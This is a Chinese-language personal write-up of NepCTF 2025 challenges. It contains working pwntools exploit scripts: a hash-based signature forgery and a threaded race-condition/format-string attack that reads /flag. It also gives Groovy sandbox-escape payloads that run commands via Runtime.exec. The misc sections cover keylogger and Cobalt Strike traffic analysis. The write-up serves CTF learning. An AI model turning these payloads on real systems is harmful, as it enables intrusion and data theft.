NepCTF个人WP与赛后总结

Wang1r Lv4

Crypto

Nepsign

Deepseek脚本秒了,就是跑的有点慢:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *
from gmssl import sm3
import os
import ast
import binascii
import time

context.log_level = 'debug' # 设置为 'info' 或 'error' 以减少输出

# SM3 辅助函数
def SM3(data):
if isinstance(data, str):
data = bytes.fromhex(data)
d = list(data)
return sm3.sm3_hash(d)

def SM3_n(data, n=1, bits=256):
if isinstance(data, str):
data = bytes.fromhex(data)
for _ in range(n):
data = bytes.fromhex(SM3(data))
return data.hex()[:bits//4]

hex_symbols = '0123456789abcdef'
banned_msg = b'happy for NepCTF 2025'

# 连接服务
host = 'nepctf32-vw2p-ntkn-lohq-o8mghokeu569.nepctf.com' # 替换为实际题目提供的域名
port = 443
conn = remote(host, port, ssl=True, sni=host)

# 接收初始信息
conn.recvuntil(b'initializing...\n')

# 恢复私钥
recovered_sk = [None] * 48
total_attempts = 0

# 计算一个消息的步骤值(本地计算)
def compute_steps(msg):
m = SM3(msg)
m_bin = bin(int(m, 16))[2:].zfill(256)
a = [int(m_bin[i*8:i*8+8], 2) for i in range(32)]
sum_arr = []
for i in range(16):
s = 0
for pos in range(64):
if m[pos] == hex_symbols[i]:
s += pos + 1
sum_arr.append(s % 255)
return a + sum_arr

# 主循环
while any(sk is None for sk in recovered_sk):
total_attempts += 1
print(f"Attempt #{total_attempts} - Recovered: {sum(1 for sk in recovered_sk if sk is not None)}/48")

# 生成随机消息
msg = os.urandom(32)
if msg == banned_msg:
continue

# 发送签名请求
conn.sendlineafter(b'> ', b'1')
conn.sendlineafter(b'msg: ', msg.hex().encode())

# 获取响应
try:
resp = conn.recvline().decode().strip()
if "You can't do that" in resp:
continue
qq_list = ast.literal_eval(resp)
except Exception as e:
print(f"Error parsing response: {e}")
continue

# 本地计算步骤
steps = compute_steps(msg)

# 检查并恢复私钥片段
for i in range(48):
if steps[i] == 0 and recovered_sk[i] is None:
try:
# 验证是否为有效的十六进制字符串
if all(c in '0123456789abcdef' for c in qq_list[i]):
recovered_sk[i] = qq_list[i]
print(f"Recovered sk[{i}] = {qq_list[i]}")
except:
pass

print("All private key fragments recovered!")

# 伪造目标消息的签名
msg_target = banned_msg
m = SM3(msg_target)
m_bin = bin(int(m, 16))[2:].zfill(256)
a = [int(m_bin[i*8:i*8+8], 2) for i in range(32)]
sum_arr = []
for i in range(16):
s = 0
for pos in range(64):
if m[pos] == hex_symbols[i]:
s += pos + 1
sum_arr.append(s % 255)
steps_target = a + sum_arr

# 计算签名
forged_sig = []
for i in range(48):
sk_hex = recovered_sk[i]
n_iter = steps_target[i]
forged_sig.append(SM3_n(bytes.fromhex(sk_hex), n_iter, 256))

# 提交签名获取flag
conn.sendlineafter(b'> ', b'2')
conn.sendlineafter(b'give me a qq: ', str(forged_sig).encode())

# 获取flag
flag = conn.recvline().decode()
print("="*50)
print(f"FLAG: {flag}")
print("="*50)

conn.close()

Misc

NepBotEvent

起初没什么思路,但是后来在网上直接搜到其他选手的AI对话记录(应该不能算作弊吧)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
decode_nepbot_keylogger.py
还原 /dev/input/event* 键盘抓包文本
"""
import struct, re, sys, pathlib

# --- 1. HID usage → 纯小写字符(不含 Shift)------------------------
hid2char = {
**{i + 4: chr(ord('a') + i) for i in range(26)}, # a-z
**{0x1e + i: str((i + 1) % 10) for i in range(10)}, # 1-9,0
0x2c: ' ', 0x28: '\n', 0x2b: '\t',
0x2d: '-', 0x2e: '=', 0x2f: '[', 0x30: ']', 0x31: '\\',
0x33: ';', 0x34: "'", 0x35: '`', 0x36: ',', 0x37: '.', 0x38: '/',
}

# --- 2. Shift 后字符映射 ------------------------------------------
shift_map = {c: c.upper() for c in 'abcdefghijklmnopqrstuvwxyz'}
shift_map.update({
'1': '!', '2': '@', '3': '#', '4': '$', '5': '%',
'6': '^', '7': '&', '8': '*', '9': '(', '0': ')',
'-': '_', '=': '+', '[': '{', ']': '}', '\\': '|',
';': ':', "'": '"', '`': '~', ',': '<', '.': '>', '/': '?',
})

BACKSPACE_HID = 0x2a # MSC_SCAN 的 Backspace
SHIFT_CODES = {42, 54} # EV_KEY 左/右 Shift code

def decode(path: str) -> str:
buf, shift, last_hid = [], False, None
with open(path, 'rb') as f:
for chunk in iter(lambda: f.read(24), b''):
tv_sec, tv_usec, etype, code, value = struct.unpack('<qqHHI', chunk)

if etype == 4 and code == 4: # MSC_SCAN,保存 HID usage
last_hid = value & 0xffff
continue

if etype != 1: # 只关心 EV_KEY
continue

if value == 1: # 按下
if code in SHIFT_CODES: # Shift 键按下
shift = True
continue
if (last_hid or code) == BACKSPACE_HID or code == 14:
if buf:
buf.pop()
last_hid = None
continue

hid = last_hid if last_hid else code
ch = hid2char.get(hid)
if ch:
buf.append(shift_map[ch] if shift and ch in shift_map else ch)
last_hid = None

elif value == 0 and code in SHIFT_CODES: # Shift 松开
shift = False

return ''.join(buf)

if __name__ == '__main__':
p = sys.argv[1] if len(sys.argv) > 1 else 'NepBot_keylogger'
if not pathlib.Path(p).exists():
sys.exit(f'文件 {p} 不存在')
text = decode(p)

# 快速检验:先打印前 400 字符看看有没有完好的命令
print(text[:400])

# --- 3. 自动提取数据库名 --------------------------------------
m = re.search(r'use\s+`?([A-Za-z0-9_\-]+)`?;', text, re.I)
if m:
dbname = m.group(1)
print('\n>>> 解析到 use 语句:', m.group(0).strip())
print(f'>>> 数据库名:{dbname}')
print(f'>>> 提交 flag:NepCTF{{{dbname}}}')
else:
print('\n!!! 没找到 use 语句,估计还有 Ctrl+U / Ctrl+W 等需处理,再检查原始输出')

SpeedMino

拖入IDA后依旧是丢给deepseek,识别到是love框架,将exe改成zip进行解压得到源码,对应源码逻辑运行即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def KSA():
key = "Speedmino Created By MrZ and modified by zxc"
key_len = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + ord(key[i % key_len])) % 256
S[i], S[j] = S[j], S[i]
return S

def calcData(text_table, S, i, j):
text_len = text_table[0]
K = [0] * (text_len + 1)
K[0] = text_len
for n in range(1, text_len + 1):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K_byte = S[(S[i] + S[j]) % 256]
K[n] = (text_table[n] + K_byte) % 256
return K, S, i, j

def tableToStr(text):
text_len = text[0]
outstring = ""
for i in range(1, text_len + 1):
c = text[i]
if c < 32 or c >= 127:
outstring += "#"
else:
outstring += chr(c)
return outstring

# 初始化 youwillget
youwillget = [52, 187, 24, 5, 131, 58, 243, 176, 235, 179, 159, 170, 155, 201, 23, 6, 3,
210, 27, 113, 11, 161, 94, 245, 41, 29, 43, 199, 8, 200, 252, 86, 17, 72,
177, 52, 252, 20, 74, 111, 53, 28, 6, 190, 108, 47, 16, 237, 148, 82, 253, 148, 6]

# 初始化 S-box 和状态
S = KSA()
secret_i, secret_j = 0, 0

# 模拟剪贴板加密(55个空格)
pass_table = [55] + [32] * 55
_, S, secret_i, secret_j = calcData(pass_table, S, secret_i, secret_j)

# 应用 2600 次加密
for _ in range(2600):
youwillget, S, secret_i, secret_j = calcData(youwillget, S, secret_i, secret_j)

# 转换为字符串
flag = tableToStr(youwillget)
print(flag)

客服小美

非常麻烦的一道题,写了好久

首先是进到内存去分析,找到很可疑的文件:

那么很明显,触发这个文件的用户就是被控机器的用户名

接着就是检查网络连接:

中文导致的解码混乱,不过依旧可以辨认

连接地址和端口都找到了

接下来就是分析流量内容

扔到云沙箱,识别出CS Beacon特征。

使用cs-extract-key.py提取出raw key

然后用这个key解密流量即可

很明显secret.txt就是流量中这个

MoewBle喵泡

可以玩游戏通过获得,但也可以直接到level1/2/3里面搜索字符串

GM的开启方法是AI根据源码分析出来的:

然后到GM拿最后一部分:

PWN

Time

最开始没什么思路,后来看到time和hint.txt的内容想到条件竞争

依旧是deepseek给的脚本(我是AI糕手)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
import threading
import time

context.log_level = 'info'

# 转换函数(保留)
def hex_to_flag(hex_str):
parts = hex_str.split('.')
flag = b''
for part in parts:
if not part:
continue
if len(part) % 2 != 0:
part = '0' + part
part_bytes = unhex(part)
flag += part_bytes[::-1]
return flag.rstrip(b'\x00').decode(errors='ignore')

# 配置
host = "nepctf30-gg7y-7alr-c6ry-eveuvmbdv110.nepctf.com"
port = 443
fmt_payload = b"%22$lx.%23$lx.%24$lx.%25$lx.%26$lx.%27$lx.%28$lx.%29$lx"

def trigger_race():
"""触发条件竞争"""
while True:
try:
p = remote(host, port, ssl=True, timeout=5)

# 第一阶段:设置格式化字符串
p.sendlineafter(b"name:", fmt_payload)

# 第二阶段:快速发送两个文件名
p.recvuntil(b"read:")

# 先发送合法文件名通过检查
p.sendline(b"hint.txt")

# 立即发送恶意文件名覆盖全局变量
p.sendline(b"/flag")

# 捕获输出
output = p.recvall(timeout=3)

if b'hello' in output:
log.info("Potential race success!")
# 提取泄露数据
try:
hello_idx = output.index(b'hello ') + 6
end_idx = output.index(b' ,your file read done!')
leaked_hex = output[hello_idx:end_idx].decode()
flag_content = hex_to_flag(leaked_hex)

if "NepCTF" in flag_content:
log.success(f"FLAG FOUND: {flag_content}")
return flag_content
except:
log.warning("Failed to parse output")

p.close()
time.sleep(0.5)
except Exception as e:
log.warning(f"Error: {e}")
time.sleep(1)

# 多线程提高成功率
def threaded_race(thread_count=4):
results = []
lock = threading.Lock()

def worker():
flag = trigger_race()
if flag:
with lock:
results.append(flag)

threads = []
for _ in range(thread_count):
t = threading.Thread(target=worker)
t.daemon = True
t.start()
threads.append(t)

# 等待结果或超时
start_time = time.time()
while time.time() - start_time < 60 and not results:
time.sleep(0.5)

if results:
return results[0]
return None

if __name__ == "__main__":
log.info("Starting race condition attack...")
flag = threaded_race()

if flag:
log.success(f"Final Flag: {flag}")
else:
log.error("Failed to capture flag after multiple attempts")

WEB

easyGooGooVVVY

貌似是出题人失误没过滤execute,直接一句简单的payload即可

"e".concat("nv").execute().text

RevengeGooGooVVVY

这次过滤掉了execute

1
2
3
4
5
6
7
8
9
// 通过对象数组获取类引用
def classes = [] as Object[]
classes.getClass().componentType
.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null)
.exec("env")
.getInputStream()
.text

JavaSeri

出题人的失误,shiro-attack一把梭了(pentest说是)


个人总结

NepCTF是这么长时间以来少有的题目质量高而且参与感强的比赛了,在这次比赛中又学到不少东西,不过挺遗憾没拿到任何奖项,希望下次尽力吧。

有一个知识点的内容卡了我很久,后面认真学习过后或许会写一篇文章记录一下

  • 标题: NepCTF个人WP与赛后总结
  • 作者: Wang1r
  • 创建于 : 2025-07-28 20:16:20
  • 更新于 : 2025-07-28 14:56:54
  • 链接: https://wang1rrr.github.io/2025/07/28/nepctf-wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。